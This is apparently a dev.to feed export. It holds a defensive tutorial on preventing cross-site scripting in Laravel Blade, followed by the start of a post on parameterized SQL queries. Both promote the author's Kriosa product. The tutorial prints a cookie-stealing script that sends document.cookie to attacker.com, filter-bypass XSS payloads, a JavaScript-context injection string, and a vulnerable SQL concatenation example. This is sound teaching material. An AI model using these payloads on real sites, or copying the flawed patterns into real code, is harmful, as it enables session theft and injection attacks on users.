&lt;p&gt;Laravel uses a templating engine called Blade. Blade gives you two ways to output variables in your HTML templates. The difference between them is the difference between a protected application and a vulnerable one.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The safe way double curly braces&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{{ $comment }}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Blade automatically HTML-encodes everything inside {{ }}. So if $comment contains.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;xss&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Blade outputs it as.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="ni"&gt;&amp;amp;lt;&lt;/span&gt;script&lt;span class="ni"&gt;&amp;amp;gt;&lt;/span&gt;alert('xss')&lt;span class="ni"&gt;&amp;amp;lt;&lt;/span&gt;/script&lt;span class="ni"&gt;&amp;amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The browser displays it as visible text. The script never executes. The attack fails silently.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The dangerous way raw output&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{!! $comment !!}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This outputs the raw unescaped HTML exactly as stored. If $comment contains a script tag it executes. Exactly as the attacker intended.&lt;/p&gt;

&lt;p&gt;A useful rule of thumb: whenever you type {!! !!}, pause and ask yourself where that data originated. If the answer is "a user", "a form", "the database", or "an external API", raw output should immediately raise suspicion. Most XSS vulnerabilities begin with trusting data that was never actually trustworthy.&lt;/p&gt;

&lt;p&gt;That two-character difference — !! — is the line between safe and hacked.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What HTML Entity Encoding Actually Does&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;When Blade uses {{ }} it converts characters that have meaning in HTML into their safe entity equivalents.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;  →  &amp;amp;lt;
&amp;gt;  →  &amp;amp;gt;
"  →  &amp;amp;quot;
'  →  &amp;amp;#039;
&amp;amp;  →  &amp;amp;amp;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The browser renders these entities as the visible characters but never interprets them as HTML markup. So&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="ni"&gt;&amp;amp;lt;&lt;/span&gt;script&lt;span class="ni"&gt;&amp;amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;displays as&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt; &lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt; 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;on screen but the browser never treats it as an actual executable script tag.&lt;/p&gt;

&lt;p&gt;The characters are present. They just cannot do anything. This is why&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{{ }}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;is the safe default. The encoding happens automatically. You do not have to think about it as long as you use the correct syntax.&lt;/p&gt;

&lt;p&gt;When&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{!! !!} 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Is Legitimately Needed&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{!! !!}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;is not always wrong. There are legitimate use cases but they require deliberate judgment.&lt;/p&gt;

&lt;p&gt;Rendering HTML you generated yourself from trusted data&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{!! $paginationLinks !!}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If your controller built this HTML from your own logic with no user input involved, outputting it raw is fine.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Rendering content from a trusted admin editor&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A blog post written by a site administrator in a rich text editor needs raw HTML to display formatting correctly. The key word is trusted content you control, not content submitted by arbitrary users.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Rendering HTML that has already been properly sanitized&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If you ran user-submitted content through a dedicated HTML sanitizer such as HTMLPurifier or a Laravel package wrapping it before storing it, outputting it raw can be acceptable. The sanitizer removed dangerous tags and attributes before the content reached your database.&lt;/p&gt;

&lt;p&gt;The rule is simple:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{!! !!}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;is only safe when you have complete control over the source of the data. The moment user input can influence what appears inside&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{!! !!}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;you have introduced an XSS vulnerability.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Four Mistakes Laravel Developers Make&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Mistake 1&lt;/strong&gt; — Using&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{!! !!}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;for convenience&lt;/p&gt;

&lt;p&gt;A developer wants to display formatted text. They store HTML in the database and use&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{!! !!}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;to render it. They forget or never considered that the same field accepts input from users.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{{-- Developer thinks: "I need to display the formatted bio" --}}
{!! $user-&amp;gt;bio !!}

{{-- Attacker submits bio containing: --}}
{{-- &amp;lt;script&amp;gt;document.location='https://attacker.com?c='+document.cookie&amp;lt;/script&amp;gt; --}}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Every user who views that profile page is now at risk.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Mistake 2&lt;/strong&gt; — Trusting the database as a safety layer&lt;/p&gt;

&lt;p&gt;“The data came from my database so it must be safe.”&lt;/p&gt;

&lt;p&gt;Not if a user put it there. Stored XSS lives in the database. The database stores exactly what was submitted. It does not sanitize. It does not encode. It stores and retrieves.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Mistake 3&lt;/strong&gt; — Sanitizing on input but not encoding on output&lt;/p&gt;

&lt;p&gt;Stripping script tags when the user submits is not reliable protection. Attackers use encoding, alternative event handlers, and HTML quirks to bypass input filters.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;x&lt;/span&gt; &lt;span class="na"&gt;onerror=&lt;/span&gt;&lt;span class="s"&gt;alert('xss')&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;svg&lt;/span&gt; &lt;span class="na"&gt;onload=&lt;/span&gt;&lt;span class="s"&gt;alert('xss')&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"javascript:alert('xss')"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;click me&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;None of these contain the word script. A filter looking for&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;misses all of them.&lt;/p&gt;

&lt;p&gt;Encoding on output is the reliable defense because it does not matter what the input contained everything gets rendered as text, not as HTML.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Mistake 4&lt;/strong&gt; — JavaScript contexts&lt;/p&gt;

&lt;p&gt;This is the mistake even careful developers miss.&lt;/p&gt;

&lt;p&gt;Blade’s&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{{ }}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;performs HTML escaping. Inside a JavaScript string, you need JavaScript-safe encoding instead. Using HTML escaping in a JavaScript context can still lead to broken scripts or injection vulnerabilities depending on how the value is used.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="p"&gt;{{&lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt; &lt;span class="nx"&gt;This&lt;/span&gt; &lt;span class="nx"&gt;is&lt;/span&gt; &lt;span class="nx"&gt;NOT&lt;/span&gt; &lt;span class="nx"&gt;safe&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="nx"&gt;JavaScript&lt;/span&gt; &lt;span class="nx"&gt;context&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="p"&gt;}}&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;script&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;username&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;{{ $username }}&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/script&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;An attacker submits&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;a username like "; alert('xss'); " 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;and the rendered output becomes.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;username&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;""&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nf"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;xss&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="dl"&gt;""&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For JavaScript contexts&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;use Laravel’s Js::from()
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;directive instead.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;script&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;username&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{{&lt;/span&gt; &lt;span class="na"&gt;Js&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;$username&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;}};&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/script&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Js::from() properly encodes the value for a JavaScript context. The two encoding requirements are different and require different solutions.&lt;/p&gt;

&lt;p&gt;The Complete Safe Pattern in Laravel&lt;/p&gt;

&lt;p&gt;Here is what correct output handling looks like across different contexts:&lt;/p&gt;

&lt;p&gt;HTML context — always use&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{{ }}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;p&amp;gt;&lt;/span&gt;{{ $comment }}&lt;span class="nt"&gt;&amp;lt;/p&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;span&amp;gt;&lt;/span&gt;{{ $username }}&lt;span class="nt"&gt;&amp;lt;/span&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;div&amp;gt;&lt;/span&gt;{{ $userBio }}&lt;span class="nt"&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;JavaScript context always use Js::from();&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;script&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;config&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{{&lt;/span&gt; &lt;span class="na"&gt;Js&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;$userConfig&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;}};&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{{&lt;/span&gt; &lt;span class="na"&gt;Js&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;$username&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;}};&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/script&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;HTML attribute context {{ }} is safe.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"text"&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"{{ $userInput }}"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For URL attributes, be careful.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"{{ $url }}"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;link&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Blade escapes HTML characters but does not validate URLs. If the URL is user-controlled, validate the scheme ensure it begins with&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;rather than blindly trusting arbitrary input. A javascript: URL bypasses HTML encoding entirely.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;When you must render HTML sanitize first&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If you need to display user-submitted HTML, run it through a dedicated HTML sanitizer such as HTMLPurifier or a Laravel package wrapping it before storing or displaying it. Only use&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{!! !!}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;after proper sanitization.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Content Security Policy as an additional layer&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Add a CSP header in your Laravel middleware to limit what scripts can execute even if an XSS payload gets through.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$response&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="s1"&gt;'Content-Security-Policy'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s2"&gt;"default-src 'self'; script-src 'self'"&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;CSP should be treated as a defense-in-depth measure, not a replacement for proper output encoding. A strict CSP means even a successful XSS injection has limited ability to load external scripts or send data to attacker-controlled domains.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The XSS Prevention Checklist for Laravel&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Always use {{ }} for user-generated content never {!! !!}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Only use {!! !!} for HTML you generated from trusted, controlled sources&lt;br&gt;
If you must display user HTML run it through an HTML sanitizer first&lt;br&gt;
For JavaScript contexts&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;use Js::from() not {{ }}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Validate and sanitize on input as an additional layer not as the primary defense&lt;br&gt;
Validate URL schemes when outputting user-controlled URLs&lt;br&gt;
Set a Content Security Policy header as a defense-in-depth measure&lt;br&gt;
Never treat the database as a sanitization layer&lt;br&gt;
Test your forms by&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;submitting &amp;lt;script&amp;gt;alert('xss')&amp;lt;/script&amp;gt; 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;and checking what the page renders.&lt;br&gt;
Where Detection Still Has a Role&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Blade’s {{ }}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;encoding prevents XSS at the output layer. But it does not protect against:&lt;/p&gt;

&lt;p&gt;Legacy templates in inherited codebases still using&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{!! !!} incorrectly
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;DOM-based XSS that never reaches your server&lt;br&gt;
Third-party packages that render output unsafely&lt;br&gt;
Developers on your team who&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;use {!! !!}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;without understanding the implications&lt;br&gt;
A security layer that monitors incoming requests and flags payloads containing script injection attempts gives you visibility into XSS attacks before they reach your templates. Not as the primary defense as the safety net that catches what your templates might miss.&lt;/p&gt;

&lt;p&gt;Prevention first. Detection as the safety net. The same principle from every article in this series.&lt;/p&gt;

&lt;p&gt;The Series So Far&lt;/p&gt;

&lt;p&gt;&lt;a href="https://medium.com/system-weakness/what-your-php-logs-actually-look-like-during-an-sql-injection-attack-571aa807f5fe" rel="noopener noreferrer"&gt;Article 1&lt;/a&gt;: What your PHP logs actually look like during a SQL injection attack&lt;br&gt;
&lt;a href="https://medium.com/system-weakness/why-url-encoding-can-break-php-security-checks-and-what-actually-works-748d2ebc848e" rel="noopener noreferrer"&gt;Article 2&lt;/a&gt;: Why URL encoding can break PHP security checks&lt;br&gt;
&lt;a href="https://medium.com/@jnchiminyi/parameterized-queries-the-only-real-fix-for-sql-injection-2e7dafc7897b" rel="noopener noreferrer"&gt;Article 3&lt;/a&gt;: The decode bomb problem why unlimited URL decoding can be its own vulnerability&lt;br&gt;
&lt;a href="https://medium.com/@jnchiminyi/parameterized-queries-the-only-real-fix-for-sql-injection-2e7dafc7897b" rel="noopener noreferrer"&gt;Article 4&lt;/a&gt;: Parameterized queries the only real fix for SQL injection&lt;br&gt;
Article 5: This article XSS prevention in Laravel and why {!! !!} is the line between safe and hacked.&lt;br&gt;
The Direction Behind Kriosa&lt;/p&gt;

&lt;p&gt;Kriosa’s hybrid system includes XSS detection flagging requests that contain script injection attempts, event handler injections, and JavaScript protocol abuse before they reach your Laravel application.&lt;/p&gt;

&lt;p&gt;But as with every article in this series detection at the middleware layer does not replace prevention at the application layer.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{{ }} in Blade is the prevention.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Kriosa is the safety net.&lt;/p&gt;

&lt;p&gt;The strongest defense is both layers working together.&lt;/p&gt;

&lt;p&gt;Try it free: &lt;a href="https://kriosa.com" rel="noopener noreferrer"&gt;kriosa.com&lt;/a&gt;&lt;br&gt;
Install it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;composer require kriosa-ai/kriosa-php
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Built by a developer from Cameroon, for developers who want to understand their security not just outsource it.&lt;/p&gt;

&lt;p&gt;Sleep better we’re awake — kriosa&lt;/p&gt;

</description>
      <category>php</category>
      <category>webdev</category>
      <category>laravel</category>
      <category>security</category>
    </item>
    <item>
      <title>Parameterized Queries - The Only Real Fix for SQL Injection and What Developers Get Wrong About Them</title>
      <dc:creator>Nchiminyi — Founder, Kriosa</dc:creator>
      <pubDate>Tue, 14 Jul 2026 03:53:36 +0000</pubDate>
      <link>https://dev.to/kriosa/parameterized-queries-the-only-real-fix-for-sql-injection-and-what-developers-get-wrong-about-them-21h3</link>
      <guid>https://dev.to/kriosa/parameterized-queries-the-only-real-fix-for-sql-injection-and-what-developers-get-wrong-about-them-21h3</guid>
      <description>&lt;p&gt;Originally publish on medium&lt;br&gt;
Detection tells you something happened. Prevention stops it from mattering. Here is the prevention layer.&lt;br&gt;
In the last three articles I wrote about detecting SQL injection attempts in PHP logs, why URL encoding blinds most pattern matching checks, and why unlimited URL decoding creates its own vulnerability. Every article ended with the same honest disclaimer.&lt;br&gt;
"The real fix lives at the query layer, not the detection layer."&lt;br&gt;
This is that article.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why Detection Is Not Enough&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Everything I have written so far the log analysis, the urldecode() fix, the capped decode loop is detection. It tells you a suspicious request arrived. It logs it. It flags it. In some cases it blocks it.&lt;br&gt;
But detection has a ceiling.&lt;br&gt;
A sufficiently sophisticated attacker who understands your detection layer can craft payloads that slip through. New encoding techniques. Fragmented payloads. Timing-based injection that never appears in a single suspicious request. Detection is valuable precisely because prevention is never perfect. But prevention should always come first.&lt;br&gt;
For SQL injection, prevention has one name parameterized queries.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What SQL Injection Actually Is&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Before explaining the fix, it helps to understand exactly what the attack exploits. SQL injection works because of one fundamental mistake treating user input as part of a SQL command.&lt;br&gt;
Here is the vulnerable pattern.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'id'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="nv"&gt;$query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"SELECT * FROM users WHERE id = "&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$id&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nv"&gt;$result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$pdo&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;query&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$query&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When a legitimate user sends id=1, the query becomes.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

